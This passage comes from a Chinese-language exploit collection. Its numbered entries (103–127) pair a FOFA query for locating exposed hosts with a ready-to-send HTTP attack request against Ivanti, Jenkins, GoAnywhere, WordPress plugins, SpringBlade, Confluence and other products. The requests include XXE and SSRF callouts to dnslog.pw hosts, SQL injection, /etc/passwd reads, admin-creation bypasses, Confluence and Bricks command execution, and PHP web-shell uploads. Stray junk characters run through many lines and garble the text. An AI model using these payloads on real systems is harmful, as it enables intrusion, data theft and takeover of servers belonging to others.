xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
8 M: l" m3 v: e4 @FOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
$ ~7 n0 w% ^- M5 T2 X/ b0 P4 j/ YHost: 192.168.40.130:111
0 d& p* r) j/ @6 @6 N: [/ R3 QUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Content-Length: 204
( @: ^. h8 g. c7 v6 ?& c- @: ?Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
; H) z  {; f; D5 }9 x' U
: K1 h- }1 f. Y  M: a8 _SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==


7 ?; Q, v$ v3 \8 `8 x其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
$ E8 N% M; A4 j* o! C5 d<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>

* v. C. C, ]9 g, F: [% X7 c8 |% W
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
FOFA：title="TOTOLINK"
' P  \1 W+ z) d+ O2 |- p( d* N+ UPOST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
Content-Length:41
# U" U* z% k* `# xAccept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
; o- f2 N. k8 @+ w% D2 a8 k' }Referer: http://192.168.0.1/advance/index.html?time=1671152380564
9 w2 D3 ?# I1 A; `8 Z, f* J! GAccept-Encoding:gzip,deflate
4 V1 j( x; M2 {Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
" a1 ]* @* ?- I; _" I9 bConnection:close

6 A) o2 T9 P" E2 M4 L! @9 D{
0 v7 a% Y! K5 }* u4 j' y"topicurl":"getSysStatusCfg",
0 G% m" U* O0 j$ Q"token":""
+ G+ a2 ^" @2 H1 [8 C}
! Z4 C4 n5 O7 s/ C
2 X  V5 l6 n6 B. w. r105. SpringBlade v3.2.0 export-user SQL 注入
FOFA：body="https://bladex.vip"
: e  ]4 e( H4 _3 g0 e. T; Y0 Mhttp://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

106. SpringBlade dict-biz/list SQL 注入
# |% Q# p; U" v( @8 o5 P2 H, `. KFOFA：body="Saber 将不能正常工作"
" Q: Y! u: W  l. {GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
5 W- g) i8 c, MHost: your-ip
0 j8 ~8 q1 l" ?/ ^! MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
, d* e9 v9 Y7 h% {Accept-Encoding: gzip, deflate
5 X/ K5 a: P+ {: r7 qAccept-Language: zh-CN,zh;q=0.9
* l2 ]. F* Y, ?9 E3 \9 w7 a+ D  n7 pConnection: close
2 c* w% Y2 L+ [, `. u; d
, h' m, F* z3 x! N5 Y4 e+ z( L
107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
3 H, }( T( H" v9 ~  W- n% kHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
- g, w& u7 g& {  oBlade-Auth:替换为自己的
9 y7 u& `" Q# L6 G+ HConnection: close
* C2 N& L4 _5 K& l

3 z) Z' \  \$ d/ P108. D-Tale 3.9.0 SSRF
CVE-2024-21642
% v: }& n' s- uFOFA："dtale/static/images/favicon.png"
8 d! d3 o$ a1 b9 \GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
Accept: application/json, text/plain, */*
7 }" m( r5 }) j6 HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
" G* v) U' S0 Q8 q- g7 s- s7 EAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
" Q5 R" h- `$ z$ hConnection: close


/ Y7 g8 S* i' q( \. s/ Q109. Jenkins CLI 任意文件读取
" o/ {$ D( k4 l4 f& F, J: T9 @CVE-2024-23897
FOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
: C/ H: t1 W* V/ M7 O7 CHost:
Content-type: application/octet-stream
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
) v6 [' t0 C5 k; }7 Y1 D& i+ O' r* LSide: upload
Connection: keep-alive
! k5 N) c4 N( k+ RContent-Length: 163

! W, b5 P) f0 q8 x; a! M4 jb'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
) i$ ]' u" P# s8 g
. {* m, \8 ?7 Y5 B+ z: U
: x' q0 i2 n1 s" nPOST /cli?remoting=false HTTP/1.1
Host:
& K. A2 s' i5 ^+ d% T! B+ b! |. OSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
8 Z1 w0 v7 _4 ~) P! B) e/ U% JContent-Type: application/x-www-form-urlencoded
2 s8 i; `, H2 H' g6 xContent-Length: 0

9 s$ |- Q6 D. n& ~4 ?
" r: e1 t" q1 @1 h8 J1 `ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
! P" m) f0 N8 O[COMMAND]
2 [/ B  {* f. ^0 m9 M$ v6 ELists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)

. M$ i4 P7 e) x3 R& c7 l0 y8 i# @
) X, @2 Z' Z, K3 q/ _110. Goanywhere MFT 未授权创建管理员
; [) \' Q. m6 Y, x; ]CVE-2024-0204
% F) y& Z2 u$ U. o. y# N% EFOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
0 x2 v( h# l: _+ b. P, BGET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
; m( n7 I( t; y$ C5 DUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
+ C9 H9 X- {' {0 }Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
$ m- x4 O  X# z' O1 I8 f

: \0 H  w0 Z: U3 o! n' M, q* c# e; ^111. WordPress Plugin HTML5 Video Player SQL注入
* @8 q  J* Z' ~: X  j: sCVE-2024-1061
6 `% A; F2 T* L! N9 k5 _) gFOFA："wordpress" && body="html5-video-player"
2 P9 U  U9 B+ p& LGET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
" U1 K% z' Z( O! R8 n7 d$ j6 lConnection: close
Accept: */*
Accept-Language: en
0 y- {6 I/ d+ I! nAccept-Encoding: gzip
" d0 k7 Z7 H# \# o; K1 I# m. v, D6 N4 B
  E; l2 b! F# i: m
9 E! i0 W5 j4 r" x, x112. WordPress Plugin NotificationX SQL 注入
9 ^  E/ e/ [) a% e9 L, ?- HCVE-2024-1698
3 w( w0 ]5 Q/ N# T# R0 N. O$ RFOFA：body="/wp-content/plugins/notificationx"
; p0 x! A& w8 \& PPOST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json

{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}


113. WordPress Automatic 插件任意文件下载和SSRF
" l% g5 r* t( W7 TCVE-2024-27954
7 V2 w1 p6 V, w# X8 H7 m  wFOFA："/wp-content/plugins/wp-automatic"
5 U$ l+ T$ N; E5 HGET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
) Q+ h% S& P. X3 J, l( u8 j  [! FConnection: close
4 s0 `3 k) r. wAccept: */*
Accept-Language: en
! m" ^) R8 h& j0 K5 ]: t9 UAccept-Encoding: gzip
5 D, E8 a; O, A' O, u

4 I# l9 B/ Z  R+ N' h114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
- |9 `7 X: s" C# n+ ~$ H8 zAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
4 F# R( F5 w, Z# sConnection: close
/ w( }4 U) J4 I8 ?+ }6 b

115. WordPress Bricks Builder <= 1.9.6 RCE
; ]& U* h+ i2 ^6 k5 lCVE-2024-25600
8 g* Z: u: N& P8 n- j+ B7 CFOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
* n& r3 h0 W& ?' `7 S8 E* p/ @/ g/ ^$ [GET / HTTP/1.1
Host: x.x.x.x
9 v; E8 L& F* MUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Accept-Encoding: gzip
, Z% u- e( W* V+ f* B

0 ]* {' j: d7 ?# o1 I, m4 s第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
9 p" h3 @+ |" CContent-Length: 356
$ D& |, d6 s7 `9 GContent-Type: application/json
Accept-Encoding: gzip
' j- Q# N& M3 b& A0 y( g
$ B7 |. p. D* C, E$ U' T7 ]{
1 s+ a9 a, K3 p) w: z"postId": "1",
  "nonce": "第一步获得的值",
% o# T* `0 o" T- r% b$ P5 u  "element": {
" B6 B3 l( U  N4 q7 C" v    "name": "container",
    "settings": {
      "hasLoop": "true",
$ c3 M- {4 \& r) t- s      "query": {
        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
+ Y( Z) e# x& m3 }        "objectType": "post"
4 s8 a1 F& e. c  C9 A! z& r- ~% N      }
2 W; P  V0 d# F% g    }
  }
}
* C- I. s* T: q0 y) p
+ v/ J" @( |( X% A
$ M8 P7 o+ ^/ I0 a# i116. wordpress js-support-ticket文件上传
, q9 J& ]* p2 M  Z" R. vFOFA：body="wp-content/plugins/js-support-ticket"
/ a8 U/ H! o- X! e  Y1 ^POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
Content-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0
5 @; }7 P' W1 F) N& Z) x
----------767099171
0 L# G) H% f2 x  b# h: Z+ WContent-Disposition: form-data; name="action"
configuration_saveconfiguration
/ j2 L) t+ U* Q- T----------767099171
2 T0 A8 H) s( F& O, f  c/ u8 LContent-Disposition: form-data; name="form_request"
jssupportticket
8 G; G7 e% \6 m2 N$ L& i" _& e* g----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
7 r! Z  ?% `  E----------767099171--
$ e9 \9 }$ Q9 k, G7 q% ?2 d
- G& K- B& r" `3 c6 f$ g1 q
117. WordPress LayerSlider插件SQL注入
. t3 ?" I# A, f# ~  K$ yversion：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
% F- `* l# k: E6 a5 o) AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
0 m  r( \: y2 hAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 e+ t7 `4 y; ?  X. cAccept-Encoding: gzip, deflate, br
5 g3 e0 ?+ n, BConnection: close
. R' x  Z/ t3 c" t6 aUpgrade-Insecure-Requests: 1
  \1 Y3 G; j8 C4 z

! L' ?( H. l/ S118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
  k7 K" o* C% f6 E& bCVE-2024-0939
FOFA：title="Smart管理平台"
POST /Tool/uploadfile.php? HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
+ U8 N) j5 z" H& w7 v; hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
% B0 z2 A4 Q% e3 m8 W4 MContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
0 Q2 N1 }" c! L+ d, J1 L; E! jOrigin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
0 A* E( P& G" K$ A) L+ A$ UUpgrade-Insecure-Requests: 1
' _+ U7 e& D7 a( m& d% D' _4 bSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
  c! _) Q. S% M5 ^1 v- KConnection: close

9 v9 j' \/ J/ ^8 O% r1 c- G-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
; y% R7 v* p5 o( {  F+ x0 ~+ b( `Content-Type: application/octet-stream
; Y9 J7 {2 C6 q' a, k
+ P  o3 x% b2 }+ F& C$ e<?php
4 u! \. f, G0 L4 a' ^2 B3 n: }. Msystem($_POST["passwd"]);
9 x- u" f; o& U% R?>
-----------------------------13979701222747646634037182887
- C& g4 Y! \9 R8 Z6 o" o4 w+ H6 g( Q/ }Content-Disposition: form-data; name="txt_path"

/home/src.php
- B' T1 H4 v" s$ V9 Z& A# n9 P* g1 ^-----------------------------13979701222747646634037182887--

3 K- ], @( j7 N( P! @8 X
5 ~0 R9 x5 L7 T) m访问/home/src.php

6 D: A2 r# w! T3 u  k2 c119. 北京百绰智能S20后台sysmanageajax.php sql注入
, v- d+ B+ {: |# W6 m; XCVE-2024-1254
FOFA：title="Smart管理平台"
' E5 B, U$ o5 \. F& ?& F% f2 S) v先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
8 q5 `# J  M9 S) F/ fHost: x.x.x.x
) q! y) R3 d5 F6 {; y( oCookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
3 D0 s) f# b, G9 D  \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
, F, C1 |6 M# q* U, F  \1 }Accept: */*
" P9 E$ y* ^( [8 |; t& x+ |Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 P+ W5 ~9 N0 Y6 v# @: sAccept-Encoding: gzip, deflate
8 U* F; ~: R6 @: AContent-Type: application/x-www-form-urlencoded;
0 s! K. [3 l, q8 ]Content-Length: 109
Origin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
3 {& n0 U. l0 _' \Sec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
X-Originating-Ip: 1.1.1.1
* |/ p, N0 \5 I. A( z) rX-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
Te: trailers
Connection: close

src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456


120. 北京百绰智能S40管理平台导入web.php任意文件上传
) y1 n8 E- P7 g9 o- P$ L  `( wCVE-2024-1253
0 Q7 N# a- m8 p2 S& t0 R/ wFOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
' m4 q( `5 h, ]" K  G% XHost: ip:port
( U, f6 v. P+ n+ ?0 W& W/ fCookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* H+ W6 S8 }# D! A' p' qAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
0 s! o1 q% O- I- g1 J$ xContent-Length: 597
) P1 `$ p% m( ^" L% cOrigin: https://ip:port
. x0 I% ]' A. f' |, I# U! {Referer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
5 |& Z( n- S& h6 [9 g  v: I) @Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
( Z5 E! Q, H9 W' Z" d6 z6 ]  `- |( \Te: trailers
Connection: close

+ r: G6 Q# n0 N, V-----------------------------42328904123665875270630079328
8 K' O+ f& n# }. E( @Content-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream
2 t! S8 N( k& ~" l- n
  a# _( Y6 z4 U, n* J<?php phpinfo()?>
# Z! Q& P$ j, y+ t/ K9 K; K-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
5 f% k2 F% q: N" i' u2 M
1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"
$ r5 j! z2 e9 R' B( ?# a1 K; _
1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"
" F0 K. d& G( n8 e0 s. v" y
import
. _9 I  R& J8 K8 U* H, _6 P-----------------------------42328904123665875270630079328
! ~* I' h: m- q% S4 {4 b: ~

文件路径/upload/2.php
4 l, r! t- p1 ?, `/ S
) @6 ~! S" Q* o: s- q" P121. 北京百绰智能S42管理平台userattestation.php任意文件上传
. |7 z4 \% l, ~' eCVE-2024-1918
FOFA：title="Smart管理平台"
) l$ M5 g. B# u* mPOST /useratte/userattestation.php HTTP/1.1
; u7 [# Y* b- _% X; c* }Host: 192.168.40.130:8443
( u$ _0 A& c) t4 }4 I, K9 WCookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
) ~( z! c3 x6 N4 b* J, G$ XUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
0 j' D+ j% ^' t) ?1 @! [0 _; B* cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) }0 i* h9 g! ~) oAccept-Encoding: gzip, deflate
: q9 u/ x0 z% Z  M" K5 @) eContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
6 u' ~+ I0 s1 y( R" F+ j. N/ BContent-Length: 592
  z: K, o# `$ ~5 cOrigin: https://192.168.40.130:8443
6 f$ k8 n0 B" x9 |/ J, U% E  T6 JUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
: r* r8 x! K3 k% BSec-Fetch-User: ?1
Te: trailers
Connection: close

-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream
! w7 Q. ?7 Z& z
<?php phpinfo();?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"

1
-----------------------------42328904123665875270630079328
6 B3 c% V' H. o0 AContent-Disposition: form-data; name="1_ck"
7 T! d# ?6 o2 t. R  K
1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hidwel"
& t& C9 f; a2 b5 J$ o
/ t9 C) Q7 Q9 e5 }set
3 j' }2 F6 M2 F& P6 M-----------------------------42328904123665875270630079328
! z) S8 h+ i# V! e" A
4 J: p8 f$ A3 d9 p
boot/web/upload/weblogo/1.php

122. 北京百绰智能s200管理平台/importexport.php sql注入
6 G' ~7 s0 I" v5 k, i  X$ `, \CVE-2024-27718FOFA：title="Smart管理平台"
) t9 }1 J6 m2 u! P其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 }3 J/ ]( D9 `) Q# v+ k9 ]4 OAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
% i3 `9 [; k2 K. x) i. o- yUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
# @) x" n; ^: a  u; n( _4 q, {Sec-Fetch-Mode: navigate
1 F% |# H1 T+ j+ B; vSec-Fetch-Site: none
Sec-Fetch-User: ?1
+ u( k5 g9 d3 Z0 x3 KTe: trailers
Connection: close
' y+ F- `8 g+ B- }# |0 a! `
; S" U# z& f' c  d  ?$ K- E' u
123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
$ `/ ]  `) W9 O6 i% M, A. iHost: localhost:8090
Accept-Encoding: gzip, deflate, br
- `: c4 J& x4 {2 \1 i- MAccept: */*
1 Q, d: X1 ]- \0 D* n. j$ P2 EAccept-Language: en-US;q=0.9,en;q=0.8
" I! c5 L* g  d4 f) q- v2 |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
# ^* i3 N$ `" L8 _- z9 A  W: _Content-Type: application/x-www-form-urlencoded
7 y' b, e* A( p# H
9 U  Q- z) J2 _4 D( H8 |3 dlabel=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
4 y5 E9 S7 H( V; ~( `

124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
: [! R+ q) Y; tUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
- D+ y3 k9 _. lContent-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 c& C/ S, |( j* UConnection: close
$ m) P+ \) I7 B% `3 p# @Content-Type: application/x-www-form-urlencoded

" {. R6 _4 \$ o  H+ M. TfilePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
0 j/ p) z2 v0 q, Z$ P1 T' |
9 }1 ^, I/ p, b) E
http://192.168.40.130:8282/Scripts/abcgcg.aspx
; T/ q$ L  a5 h, o/ Q; K
125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
3 r: C& L' V7 d" s# o! UFOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc
7 ?4 R* O) Z$ G( ?( T
; [- w' g! q4 p0 b  b4 k
使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
6 H& D) R- a# C$ u  Q

4 `7 l* R" z$ D创建好用户后直接登录后台，可以执行系统命令。
* W, f3 I, n+ K! @: k1 i, g3 z
& ~9 e2 [1 u* x, U5 m. s126. Aiohttp 路径遍历
4 n8 U. F# ~% T+ o2 DFOFA：title=="ComfyUI"
GET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
. x; y  J7 D. E$ OConnection: close
* K. y  J( U5 Q- l1 wAccept: */*
Accept-Language: en
Accept-Encoding: gzip
$ _/ x* H$ m& [' o0 ]" F( Q

127. 广联达Linkworks DataExchange.ashx XXE
% ^1 P* u8 {- `! ?! e; nFOFA：body="Services/Identification/login.ashx"
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
* T) _+ c! C! jHost: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ `4 [8 \8 J" ^: I; J+ |Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
, J. _2 i+ N3 \3 Z# q6 [Connection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
Sec-Purpose: prefetch;prerender
& h) ?' V% N+ W  ^: E9 p
  m3 X) A3 Z' C: p! E) Q------WebKitFormBoundaryJGgV5l5ta05yAIe0
* f. h6 M7 C8 ^+ g% V7 o# rContent-Disposition: form-data;name="SystemName"
' W) m; b6 b+ T# i
BIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
& `, I: n- _4 i) D) ^$ s# M7 eContent-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
& D, V8 c6 R4 @" {6 p<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
5 P$ g* n' o, N8 O]
>
6 `, T8 ^8 I% r2 H2 ]/ @<test>&t;</test>
